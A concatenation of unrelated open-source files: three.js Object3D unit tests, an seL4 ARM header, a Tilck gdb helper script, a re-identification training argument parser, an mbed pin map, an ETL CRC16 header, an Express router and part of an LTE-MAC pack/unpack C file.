assert.ok( false, "everything's gonna be alright" );
} );
QUnit.test( "lookAt", ( assert ) => {
var obj = new Object3D();
obj.lookAt( new Vector3( 0, - 1, 1 ) );
assert.numEqual( obj.rotation.x * RadToDeg, 45, "x is equal" );
} );
QUnit.test( "add/remove", ( assert ) => {
var a = new Object3D();
var child1 = new Object3D();
var child2 = new Object3D();
assert.strictEqual( a.children.length, 0, "Starts with no children" );
a.add( child1 );
assert.strictEqual( a.children.length, 1, "The first child was added" );
assert.strictEqual( a.children[ 0 ], child1, "It's the right one" );
a.add( child2 );
assert.strictEqual( a.children.length, 2, "The second child was added" );
assert.strictEqual( a.children[ 1 ], child2, "It's the right one" );
assert.strictEqual( a.children[ 0 ], child1, "The first one is still there" );
a.remove( child1 );
assert.strictEqual( a.children.length, 1, "The first child was removed" );
assert.strictEqual( a.children[ 0 ], child2, "The second one is still there" );
a.add( child1 );
a.remove( child1, child2 );
assert.strictEqual( a.children.length, 0, "Both children were removed at once" );
child1.add( child2 );
assert.strictEqual( child1.children.length, 1, "The second child was added to the first one" );
a.add( child2 );
assert.strictEqual( a.children.length, 1, "The second one was added to the parent (no remove)" );
assert.strictEqual( a.children[ 0 ], child2, "The second one is now the parent's child again" );
assert.strictEqual( child1.children.length, 0, "The first one no longer has any children" );
} );
QUnit.test( "getObjectById/getObjectByName/getObjectByProperty", ( assert ) => {
var parent = new Object3D();
var childName = new Object3D();
var childId = new Object3D(); // id = parent.id + 2
var childNothing = new Object3D();
parent.prop = true;
childName.name = "foo";
parent.add( childName, childId, childNothing );
assert.strictEqual( parent.getObjectByProperty( 'prop', true ), parent, "Get parent by its own property" );
assert.strictEqual( parent.getObjectByName( "foo" ), childName, "Get child by name" );
assert.strictEqual( parent.getObjectById( parent.id + 2 ), childId, "Get child by Id" );
assert.strictEqual(
parent.getObjectByProperty( 'no-property', 'no-value' ), undefined,
"Unknown property results in undefined"
);
} );
QUnit.test( "getWorldPosition", ( assert ) => {
var a = new Object3D();
var b = new Object3D();
var expectedSingle = new Vector3( x, y, z );
var expectedParent = new Vector3( x, y, 0 );
var expectedChild = new Vector3( x, y, 7 + ( z - z ) );
var position = new Vector3();
a.translateX( x );
a.translateY( y );
a.translateZ( z );
assert.deepEqual( a.getWorldPosition( position ), expectedSingle, "WorldPosition as expected for single object" );
// translate child and then parent
b.translateZ( 7 );
a.add( b );
a.translateZ( - z );
assert.deepEqual( a.getWorldPosition( position ), expectedParent, "WorldPosition as expected for parent" );
assert.deepEqual( b.getWorldPosition( position ), expectedChild, "WorldPosition as expected for child" );
} );
QUnit.todo( "getWorldQuaternion", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.test( "getWorldScale", ( assert ) => {
var a = new Object3D();
var m = new Matrix4().makeScale( x, y, z );
var expected = new Vector3( x, y, z );
a.applyMatrix( m );
assert.deepEqual( a.getWorldScale( new Vector3() ), expected, "WorldScale as expected" );
} );
QUnit.test( "getWorldDirection", ( assert ) => {
var a = new Object3D();
var expected = new Vector3( 0, - 0.5 * Math.sqrt( 2 ), 0.5 * Math.sqrt( 2 ) );
var direction = new Vector3();
a.lookAt( new Vector3( 0, - 1, 1 ) );
a.getWorldDirection( direction );
assert.ok(
Math.abs( direction.x - expected.x ) <= eps &&
Math.abs( direction.y - expected.y ) <= eps &&
Math.abs( direction.z - expected.z ) <= eps,
"Direction has the expected values"
);
} );
QUnit.todo( "raycast", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.test( "traverse/traverseVisible/traverseAncestors", ( assert ) => {
var a = new Object3D();
var b = new Object3D();
var c = new Object3D();
var d = new Object3D();
var names = [];
var expectedNormal = [ "parent", "child", "childchild 1", "childchild 2" ];
var expectedVisible = [ "parent", "child", "childchild 2" ];
var expectedAncestors = [ "child", "parent" ];
a.name = "parent";
b.name = "child";
c.name = "childchild 1";
c.visible = false;
d.name = "childchild 2";
b.add( c );
b.add( d );
a.add( b );
a.traverse( function ( obj ) {
names.push( obj.name );
} );
assert.deepEqual( names, expectedNormal, "Traversed objects in expected order" );
var names = [];
a.traverseVisible( function ( obj ) {
names.push( obj.name );
} );
assert.deepEqual( names, expectedVisible, "Traversed visible objects in expected order" );
var names = [];
c.traverseAncestors( function ( obj ) {
names.push( obj.name );
} );
assert.deepEqual( names, expectedAncestors, "Traversed ancestors in expected order" );
} );
QUnit.todo( "updateMatrix", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.todo( "updateMatrixWorld", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.test( "toJSON", ( assert ) => {
var a = new Object3D();
var child = new Object3D();
var childChild = new Object3D();
a.name = "a's name";
a.matrix.set( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
a.visible = false;
a.castShadow = true;
a.receiveShadow = true;
a.userData[ "foo" ] = "bar";
child.uuid = "5D4E9AE8-DA61-4912-A575-71A5BE3D72CD";
childChild.uuid = "B43854B3-E970-4E85-BD41-AAF8D7BFA189";
child.add( childChild );
a.add( child );
var gold = {
"metadata": {
"version": 4.5,
"type": "Object",
"generator": "Object3D.toJSON"
},
"object": {
"uuid": "0A1E4F43-CB5B-4097-8F82-DC2969C0B8C2",
"type": "Object3D",
"name": "a's name",
"castShadow": true,
"receiveShadow": true,
"visible": false,
"userData": { "foo": "bar" },
"layers": 1,
"matrix": [ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ],
"children": [
{
"uuid": "5D4E9AE8-DA61-4912-A575-71A5BE3D72CD",
"type": "Object3D",
"layers": 1,
"matrix": [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ],
"children": [
{
"uuid": "B43854B3-E970-4E85-BD41-AAF8D7BFA189",
"type": "Object3D",
"layers": 1,
"matrix": [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ]
}
]
}
]
}
};
// hacks
var out = a.toJSON();
out.object.uuid = "0A1E4F43-CB5B-4097-8F82-DC2969C0B8C2";
assert.deepEqual( out, gold, "JSON is as expected" );
} );
QUnit.test( "clone", ( assert ) => {
var a;
var b = new Object3D();
assert.strictEqual( a, undefined, "Undefined pre-clone()" );
a = b.clone();
assert.notStrictEqual( a, b, "Defined but seperate instances post-clone()" );
a.uuid = b.uuid;
assert.deepEqual( a, b, "But identical properties" );
} );
QUnit.test( "copy", ( assert ) => {
var a = new Object3D();
var b = new Object3D();
var child = new Object3D();
var childChild = new Object3D();
a.name = "original";
b.name = "to-be-copied";
b.position.set( x, y, z );
b.quaternion.set( x, y, z, w );
b.scale.set( 2, 3, 4 );
// bogus QUnit.test values
b.matrix.set( 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 );
b.matrixWorld.set( 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 );
b.matrixAutoUpdate = false;
b.matrixWorldNeedsUpdate = true;
b.layers.mask = 2;
b.visible = false;
b.castShadow = true;
b.receiveShadow = true;
b.frustumCulled = false;
b.renderOrder = 1;
b.userData[ "foo" ] = "bar";
child.add( childChild );
b.add( child );
assert.notDeepEqual( a, b, "Objects are not equal pre-copy()" );
a.copy( b, true );
// check they're all unique instances
assert.ok(
a.uuid !== b.uuid &&
a.children[ 0 ].uuid !== b.children[ 0 ].uuid &&
a.children[ 0 ].children[ 0 ].uuid !== b.children[ 0 ].children[ 0 ].uuid,
"UUIDs are all different"
);
// and now fix that
a.uuid = b.uuid;
a.children[ 0 ].uuid = b.children[ 0 ].uuid;
a.children[ 0 ].children[ 0 ].uuid = b.children[ 0 ].children[ 0 ].uuid;
assert.deepEqual( a, b, "Objects are equal post-copy()" );
} );
} );
} );
|
/*
* Copyright 2020, Data61, CSIRO (ABN 41 687 119 230)
*
* SPDX-License-Identifier: GPL-2.0-only
*/
#pragma once
#include <config.h>
#include <util.h>
#include <kernel/stack.h>
#ifdef ENABLE_SMP_SUPPORT
#define LD_EX "ldxr "
#define ST_EX "stxr "
#define OP_WIDTH "w"
extern char kernel_stack_alloc[CONFIG_MAX_NUM_NODES][BIT(CONFIG_KERNEL_STACK_BITS)];
compile_assert(kernel_stack_4k_aligned, KERNEL_STACK_ALIGNMENT == 4096)
#define CPUID_MASK (KERNEL_STACK_ALIGNMENT - 1)
static inline CONST cpu_id_t
getCurrentCPUIndex(void)
{
cpu_id_t id;
if (config_set(CONFIG_ARM_HYPERVISOR_SUPPORT)) {
asm volatile("mrs %0, tpidr_el2" : "=r"(id));
} else {
asm volatile("mrs %0, tpidr_el1" : "=r"(id));
}
return (id & CPUID_MASK);
}
#endif /* ENABLE_SMP_SUPPORT */
|
# SPDX-License-Identifier: BSD-2-Clause
import gdb # pylint: disable=import-error
from . import base_utils as bu
from . import tasks
class cmd_list_tasks(gdb.Command):
cmd_name = "list-tasks"
def __init__(self):
super(cmd_list_tasks, self).__init__(
cmd_list_tasks.cmd_name,
gdb.COMMAND_USER
)
def invoke(self, arg, from_tty):
user_only = False
kernel_only = False
if arg == '/u':
user_only = True
elif arg == '/k':
kernel_only = True
elif arg == '':
pass # Do nothing
else:
print("Usage:")
print(" list-tasks # List all the tasks")
print(" list-tasks /u # List only the user tasks")
print(" list-tasks /k # List only the kernel tasks")
print("")
return
tasks_list = tasks.get_all_tasks()
print("")
for t in tasks_list:
pi = t['pi']
tid = str(t['tid'])
pid = str(pi['pid'])
pid_field = ""
state = str(t['state'])[11:] # Skip "TASK_STATE_"
what_field = ""
what_str = ""
if kernel_only:
if t['tid'] <= 10000:
continue
if t['tid'] == 10000:
if user_only:
break
print(" "
"------------------ Kernel threads ------------------")
print("")
continue # Skip kernel's unused task 10000
gdb.execute(
"print (struct task *) {}".format(bu.fixhex32(int(t)))
)
if t['tid'] > 10000:
what_field = t['kthread_name'].string()
what_str = 'kthread_name'
else:
pid_field = "pid = {:>5}, ".format(pid)
what_field = pi['debug_cmdline'].string().rstrip()
what_str = 'cmdline'
print(
" "
"{{tid = {:>5}, {}{}, {} = {}}}\n".format(
tid, pid_field, state, what_str, what_field
)
)
class cmd_list_procs(gdb.Command):
cmd_name = "list-procs"
def __init__(self):
super(cmd_list_procs, self).__init__(
cmd_list_procs.cmd_name,
gdb.COMMAND_USER
)
def invoke(self, arg, from_tty):
tasks_list = tasks.get_all_tasks()
print("")
for t in tasks_list:
pi = t['pi']
pid = str(pi['pid'])
if t['tid'] != pi['pid']:
continue
gdb.execute(
"print (struct process *) {}".format(bu.fixhex32(int(pi)))
)
print(
" "
"{{ pid = {:>5}, cmdline = '{}' }}\n".format(
pid,
pi['debug_cmdline'].string().rstrip()
)
)
class cmd_list_tilck_cmds(gdb.Command):
cmd_name = "list-tilck-cmds"
def __init__(self):
super(cmd_list_tilck_cmds, self).__init__(
cmd_list_tilck_cmds.cmd_name,
gdb.COMMAND_USER
)
def invoke(self, arg, from_tty):
for e in bu.gdb_custom_cmds:
print(e.cmd_name)
# -------------------------------------------------
bu.register_new_custom_gdb_cmd(cmd_list_tasks)
bu.register_new_custom_gdb_cmd(cmd_list_procs)
bu.register_new_custom_gdb_cmd(cmd_list_tilck_cmds)
|
import argparse
def argument_parser():
parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)
# ************************************************************
# Datasets (general)
# ************************************************************
parser.add_argument('--root', type=str, default='data',
help="root path to data directory")
parser.add_argument('-s', '--source-names', type=str, required=True, nargs='+',
help="source datasets (delimited by space)")
parser.add_argument('-t', '--target-names', type=str, required=True, nargs='+',
help="target datasets (delimited by space)")
parser.add_argument('-j', '--workers', default=4, type=int,
help="number of data loading workers (tips: 4 or 8 times number of gpus)")
parser.add_argument('--height', type=int, default=256,
help="height of an image")
parser.add_argument('--width', type=int, default=128,
help="width of an image")
parser.add_argument('--split-id', type=int, default=0,
help="split index (note: 0-based)")
parser.add_argument('--train-sampler', type=str, default='',
help="sampler for trainloader")
# ************************************************************
# Video datasets
# ************************************************************
parser.add_argument('--seq-len', type=int, default=15,
help="number of images to sample in a tracklet")
parser.add_argument('--sample-method', type=str, default='evenly',
help="how to sample images from a tracklet")
parser.add_argument('--pool-tracklet-features', type=str, default='avg', choices=['avg', 'max'],
help="how to pool features over a tracklet (for video reid)")
# ************************************************************
# CUHK03-specific setting
# ************************************************************
parser.add_argument('--cuhk03-labeled', action='store_true',
help="use labeled images, if false, use detected images")
parser.add_argument('--cuhk03-classic-split', action='store_true',
help="use classic split by Li et al. CVPR'14")
parser.add_argument('--use-metric-cuhk03', action='store_true',
help="use cuhk03's metric for evaluation")
# ************************************************************
# Optimization options
# ************************************************************
parser.add_argument('--optim', type=str, default='adam',
help="optimization algorithm (see optimizers.py)")
parser.add_argument('--lr', default=0.0003, type=float,
help="initial learning rate")
parser.add_argument('--weight-decay', default=5e-04, type=float,
help="weight decay")
# sgd
parser.add_argument('--momentum', default=0.9, type=float,
help="momentum factor for sgd and rmsprop")
parser.add_argument('--sgd-dampening', default=0, type=float,
help="sgd's dampening for momentum")
parser.add_argument('--sgd-nesterov', action='store_true',
help="whether to enable sgd's Nesterov momentum")
# rmsprop
parser.add_argument('--rmsprop-alpha', default=0.99, type=float,
help="rmsprop's smoothing constant")
# adam/amsgrad
parser.add_argument('--adam-beta1', default=0.9, type=float,
help="exponential decay rate for adam's first moment")
parser.add_argument('--adam-beta2', default=0.999, type=float,
help="exponential decay rate for adam's second moment")
# ************************************************************
# Training hyperparameters
# ************************************************************
parser.add_argument('--max-epoch', default=60, type=int,
help="maximum epochs to run")
parser.add_argument('--start-epoch', default=0, type=int,
help="manual epoch number (useful when restart)")
parser.add_argument('--stepsize', default=[20, 40], nargs='+', type=int,
help="stepsize to decay learning rate")
parser.add_argument('--gamma', default=0.1, type=float,
help="learning rate decay")
parser.add_argument('--train-batch-size', default=32, type=int,
help="training batch size")
parser.add_argument('--test-batch-size', default=100, type=int,
help="test batch size")
parser.add_argument('--fixbase', action='store_true',
help="always fix base network")
parser.add_argument('--fixbase-epoch', type=int, default=0,
help="how many epochs to fix base network (only train randomly initialized classifier)")
parser.add_argument('--open-layers', type=str, nargs='+', default=['classifier'],
help="open specified layers for training while keeping others frozen")
# ************************************************************
# Cross entropy loss-specific setting
# ************************************************************
parser.add_argument('--label-smooth', action='store_true',
help="use label smoothing regularizer in cross entropy loss")
# ************************************************************
# Hard triplet loss-specific setting
# ************************************************************
parser.add_argument('--margin', type=float, default=0.3,
help="margin for triplet loss")
parser.add_argument('--num-instances', type=int, default=4,
help="number of instances per identity")
parser.add_argument('--htri-only', action='store_true',
help="only use hard triplet loss")
parser.add_argument('--lambda-xent', type=float, default=1,
help="weight to balance cross entropy loss")
parser.add_argument('--lambda-htri', type=float, default=1,
help="weight to balance hard triplet loss")
# ************************************************************
# Architecture
# ************************************************************
parser.add_argument('-a', '--arch', type=str, default='resnet50')
# ************************************************************
# Test settings
# ************************************************************
parser.add_argument('--load-weights', type=str, default='',
help="load pretrained weights but ignore layers that don't match in size")
parser.add_argument('--evaluate', action='store_true',
help="evaluate only")
parser.add_argument('--eval-freq', type=int, default=-1,
help="evaluation frequency (set to -1 to test only in the end)")
parser.add_argument('--start-eval', type=int, default=0,
help="start to evaluate after a specific epoch")
# ************************************************************
# Miscs
# ************************************************************
parser.add_argument('--print-freq', type=int, default=10,
help="print frequency")
parser.add_argument('--seed', type=int, default=1,
help="manual seed")
parser.add_argument('--resume', type=str, default='', metavar='PATH',
help="resume from a checkpoint")
parser.add_argument('--save-dir', type=str, default='log',
help="path to save log and model weights")
parser.add_argument('--use-cpu', action='store_true',
help="use cpu")
parser.add_argument('--gpu-devices', default='0', type=str,
help='gpu device ids for CUDA_VISIBLE_DEVICES')
parser.add_argument('--use-avai-gpus', action='store_true',
help="use available gpus instead of specified devices (useful when using managed clusters)")
parser.add_argument('--visualize-ranks', action='store_true',
help="visualize ranked results, only available in evaluation mode")
return parser
def image_dataset_kwargs(parsed_args):
"""
Build kwargs for ImageDataManager in data_manager.py from
the parsed command-line arguments.
"""
return {
'source_names': parsed_args.source_names,
'target_names': parsed_args.target_names,
'root': parsed_args.root,
'split_id': parsed_args.split_id,
'height': parsed_args.height,
'width': parsed_args.width,
'train_batch_size': parsed_args.train_batch_size,
'test_batch_size': parsed_args.test_batch_size,
'workers': parsed_args.workers,
'train_sampler': parsed_args.train_sampler,
'num_instances': parsed_args.num_instances,
'cuhk03_labeled': parsed_args.cuhk03_labeled,
'cuhk03_classic_split': parsed_args.cuhk03_classic_split
}
def video_dataset_kwargs(parsed_args):
"""
Build kwargs for VideoDataManager in data_manager.py from
the parsed command-line arguments.
"""
return {
'source_names': parsed_args.source_names,
'target_names': parsed_args.target_names,
'root': parsed_args.root,
'split_id': parsed_args.split_id,
'height': parsed_args.height,
'width': parsed_args.width,
'train_batch_size': parsed_args.train_batch_size,
'test_batch_size': parsed_args.test_batch_size,
'workers': parsed_args.workers,
'seq_len': parsed_args.seq_len,
'sample_method': parsed_args.sample_method
}
def optimizer_kwargs(parsed_args):
"""
Build kwargs for optimizer in optimizer.py from
the parsed command-line arguments.
"""
return {
'optim': parsed_args.optim,
'lr': parsed_args.lr,
'weight_decay': parsed_args.weight_decay,
'momentum': parsed_args.momentum,
'sgd_dampening': parsed_args.sgd_dampening,
'sgd_nesterov': parsed_args.sgd_nesterov,
'rmsprop_alpha': parsed_args.rmsprop_alpha,
'adam_beta1': parsed_args.adam_beta1,
'adam_beta2': parsed_args.adam_beta2
}
|
/* mbed Microcontroller Library
* Copyright (c) 2013 Nordic Semiconductor
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef MBED_PINNAMES_H
#define MBED_PINNAMES_H
#include "cmsis.h"
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
PIN_INPUT,
PIN_OUTPUT
} PinDirection;
#define PORT_SHIFT 3
typedef enum {
p0 = 0,
p1 = 1,
p2 = 2,
p3 = 3,
p4 = 4,
p5 = 5,
p6 = 6,
p7 = 7,
p8 = 8,
p9 = 9,
p10 = 10,
p11 = 11,
p12 = 12,
p13 = 13,
p14 = 14,
p15 = 15,
p16 = 16,
p17 = 17,
p18 = 18,
p19 = 19,
p20 = 20,
p21 = 21,
p22 = 22,
p23 = 23,
p24 = 24,
p25 = 25,
p28 = 28,
p29 = 29,
p30 = 30,
P0_0 = p0,
P0_1 = p1,
P0_2 = p2,
P0_3 = p3,
P0_4 = p4,
P0_5 = p5,
P0_6 = p6,
P0_7 = p7,
P0_8 = p8,
P0_9 = p9,
P0_10 = p10,
P0_11 = p11,
P0_12 = p12,
P0_13 = p13,
P0_14 = p14,
P0_15 = p15,
P0_16 = p16,
P0_17 = p17,
P0_18 = p18,
P0_19 = p19,
P0_20 = p20,
P0_21 = p21,
P0_22 = p22,
P0_23 = p23,
P0_24 = p24,
P0_25 = p25,
P0_28 = p28,
P0_29 = p29,
P0_30 = p30,
LED1 = p21,
LED2 = p22,
LED3 = p23,
LED4 = p23,
LEDR = LED1,
LEDG = LED2,
LEDB = LED3,
RX_PIN_NUMBER = p11,
TX_PIN_NUMBER = p9,
CTS_PIN_NUMBER = p10,
RTS_PIN_NUMBER = p8,
// mBed interface Pins
USBTX = TX_PIN_NUMBER,
USBRX = RX_PIN_NUMBER,
SPI_PSELMOSI0 = p15,
SPI_PSELMISO0 = p16,
SPI_PSELSS0 = p17,
SPI_PSELSCK0 = p18,
SPI_PSELMOSI1 = p15,
SPI_PSELMISO1 = p16,
SPI_PSELSS1 = p17,
SPI_PSELSCK1 = p18,
SPIS_PSELMOSI = p15,
SPIS_PSELMISO = p16,
SPIS_PSELSS = p17,
SPIS_PSELSCK = p18,
I2C_SDA0 = p19,
I2C_SCL0 = p20,
// Not connected
NC = (int)0xFFFFFFFF
} PinName;
typedef enum {
PullNone = 0,
PullDown = 1,
PullUp = 3,
PullDefault = PullUp
} PinMode;
#ifdef __cplusplus
}
#endif
#endif
|
///\file
/******************************************************************************
The MIT License(MIT)
Embedded Template Library.
https://github.com/ETLCPP/etl
https://www.etlcpp.com
Copyright(c) 2021 jwellbelove
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files(the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and / or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions :
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
******************************************************************************/
#ifndef ETL_CRC16_RIELLO_INCLUDED
#define ETL_CRC16_RIELLO_INCLUDED
#include "platform.h"
#include "private/crc_implementation.h"
///\defgroup crc16_riello 16 bit CRC calculation
///\ingroup crc
namespace etl
{
#if ETL_CPP11_SUPPORTED && !ETL_CRC_FORCE_CPP03
template <size_t Table_Size>
using crc16_riello_t = etl::crc_type<etl::private_crc::crc16_riello_parameters, Table_Size>;
#else
template <size_t Table_Size>
class crc16_riello_t : public etl::crc_type<etl::private_crc::crc16_riello_parameters, Table_Size>
{
public:
//*************************************************************************
/// Default constructor.
//*************************************************************************
crc16_riello_t()
{
this->reset();
}
//*************************************************************************
/// Constructor from range.
/// \param begin Start of the range.
/// \param end End of the range.
//*************************************************************************
template<typename TIterator>
crc16_riello_t(TIterator begin, const TIterator end)
{
this->reset();
this->add(begin, end);
}
};
#endif
typedef etl::crc16_riello_t<256U> crc16_riello_t256;
typedef etl::crc16_riello_t<16U> crc16_riello_t16;
typedef etl::crc16_riello_t<4U> crc16_riello_t4;
typedef crc16_riello_t256 crc16_riello;
}
#endif
|
var express = require('express');
var router = express.Router();
/* GET Backend Homepage. */
router.get('/', function(req, res, next) {
res.render('index.html');
});
module.exports = router;
|
/**
* Copyright (c) Facebook, Inc. and its affiliates.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree.
*/
/************************************************************************
Name: LTE-MAC layer
Type: C source file
Desc: C source code for pack/unpack of TFU interface primitives.
File: tfu.c
Sid: tfu.c@@/main/8 - Wed Jul 27 12:18:38 2011
Prg: sm
**********************************************************************/
/** @file tfu.c
@brief This file contains the packing/unpacking code for the TFU interface
primitives.
*/
/* header include files (.h) */
#include "envopt.h" /* environment options */
#include "envdep.h" /* environment dependent */
#include "envind.h" /* environment independent */
#include "gen.h" /* general */
#include "ssi.h" /* system services */
#include "cm_tkns.h" /* Common Token Defines */
#include "cm_llist.h" /* Common Link List Defines */
#include "cm_hash.h" /* Common Hash List Defines */
#include "cm_lte.h" /* Common LTE Defines */
#include "cm_mblk.h" /* Common LTE Defines */
#include "tfu.h" /* RGU Interface defines */
/* header/extern include files (.x) */
#include "gen.x" /* general */
#include "ssi.x" /* system services */
#include "cm_tkns.x" /* Common Token Definitions */
#include "cm_llist.x" /* Common Link List Definitions */
#include "cm_lib.x" /* Common Library Definitions */
#include "cm_hash.x" /* Common Hash List Definitions */
#include "cm_lte.x" /* Common LTE Defines */
#include "cm_mblk.x" /* Common LTE Defines */
#include "tfu.x" /* RGU Interface includes */
#if (defined(LCTFU))
/***********************************************************
*
* Func : cmPkTfuBndReq
*
*
* Desc : This API is used to send a Bind Request from MAC to PHY.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param spId SAP ID of the service provider.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuBndReq
(
Pst * pst,
SuId suId,
SpId spId
)
#else
PUBLIC S16 cmPkTfuBndReq(pst, suId, spId)
Pst * pst;
SuId suId;
SpId spId;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuBndReq)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU001, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SPkS16(spId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU002, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU003, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
pst->event = (Event) EVTTFUBNDREQ;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuBndReq
*
*
* Desc : This API is used to send a Bind Request from MAC to PHY.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param spId SAP ID of the service provider.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuBndReq
(
TfuBndReq func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuBndReq(func, pst, mBuf)
TfuBndReq func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
SpId spId;
TRC3(cmUnpkTfuBndReq)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU004, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SUnpkS16(&spId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU005, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
TFU_FREE_MSG(mBuf);
RETVALUE((*func)(pst, suId, spId));
}
/***********************************************************
*
* Func : cmPkTfuBndCfm
*
*
* Desc : This API is used to receive a Bind Confirm from PHY to MAC.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param status Status of the bind request.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuBndCfm
(
Pst * pst,
SuId suId,
U8 status
)
#else
PUBLIC S16 cmPkTfuBndCfm(pst, suId, status)
Pst * pst;
SuId suId;
U8 status;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuBndCfm)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU006, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (SPkU8(status, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU007, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU008, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
pst->event = (Event) EVTTFUBNDCFM;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuBndCfm
*
*
* Desc : This API is used to receive a Bind Confirm from PHY to MAC.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param status Status of the bind request.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuBndCfm
(
TfuBndCfm func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuBndCfm(func, pst, mBuf)
TfuBndCfm func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
U8 status;
TRC3(cmUnpkTfuBndCfm)
